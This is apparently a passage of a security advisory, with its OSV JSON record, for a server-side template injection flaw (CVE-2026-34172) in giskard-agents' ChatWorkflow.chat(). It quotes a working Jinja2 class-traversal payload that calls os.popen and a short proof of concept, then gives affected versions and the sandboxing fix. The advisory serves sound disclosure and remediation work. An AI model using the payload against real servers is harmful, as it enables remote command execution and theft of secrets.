# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}
A developer building a chatbot:
workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input) # user_input parsed as Jinja2 template
result = await workflow.run() # RCE if user_input contains {{ payload }}
Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().
Impact
Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.
Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).
Mitigation
Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.
The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.3"
},
"package": {
"ecosystem": "PyPI",
"name": "giskard-agents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.2a1"
},
"package": {
"ecosystem": "PyPI",
"name": "giskard-agents"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.1a1"
},
{
"fixed": "1.0.2b1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34172"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T22:17:30Z",
"nvd_published_at": "2026-03-31T15:16:17Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`ChatWorkflow.chat(message)` passes its string argument directly as a Jinja2 template source to a non-sandboxed `Environment`. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.\n\nThe method name `chat` and parameter name `message` naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.\n\n## Root Cause\n\n`libs/giskard-agents/src/giskard/agents/workflow.py` line ~261:\n```python\ndef chat(self, message: str | Message | MessageTemplate, role: Role = \"user\") -\u003e Self:\n if isinstance(message, str):\n message = MessageTemplate(role=role, content_template=message)\n```\n\nThe string becomes `content_template`, which is parsed by `from_string()`:\n\n`libs/giskard-agents/src/giskard/agents/templates/message.py` lines 14-15:\n```python\ndef render(self, **kwargs: Any) -\u003e Message:\n template = _inline_env.from_string(self.content_template)\n rendered_content = template.render(**kwargs)\n```\n\nThe Jinja2 Environment is not sandboxed:\n\n`libs/giskard-agents/src/giskard/agents/templates/environment.py` line 37:\n```python\n_inline_env = Environment(\n autoescape=False,\n # Not SandboxedEnvironment\n)\n```\n\n## Proof of Concept\n\n```python\nfrom jinja2 import Environment\nenv = Environment() # Same as giskard\u0027s _inline_env\n\n# Class traversal reaches os.popen\nt = env.from_string(\"{{ \u0027\u0027.__class__.__mro__[1].__subclasses__() | length }}\")\nprint(t.render()) # 342 accessible subclasses\n\n# Full RCE payload (subclass index varies by Python version)\n# {{ \u0027\u0027.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__[\u0027os\u0027].popen(\u0027id\u0027).read() }}\n```\n\nA developer building a chatbot:\n```python\nworkflow = ChatWorkflow(generator=my_llm)\nworkflow = workflow.chat(user_input) # user_input parsed as Jinja2 template\nresult = await workflow.run() # RCE if user_input contains {{ payload }}\n```\n\nNote: using `.with_inputs(var=user_data)` is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to `chat()`.\n\n## Impact\n\nRemote code execution on the server hosting any application built with giskard-agents that passes user input to `ChatWorkflow.chat()`. Attacker can execute system commands, read files, access environment variables.\n\nAffects giskard-agents \u003c=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).\n\n# Mitigation\n\nUpdate to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.\n\nThe fix replaces the unsandboxed Jinja2 Environment with `SandboxedEnvironment`, which blocks attribute access to dunder methods and prevents class traversal chains. `SandboxedEnvironment` blocks access to attributes starting with `_`, preventing the `__class__.__mro__` traversal chain.",
"id": "GHSA-frv4-x25r-588m",
"modified": "2026-03-31T18:50:47Z",
"published": "2026-03-27T22:17:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-frv4-x25r-588m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34172"
},
{
"type": "PACKAGE",
"url": "https://github.com/Giskard-AI/giskard-oss"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment"
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.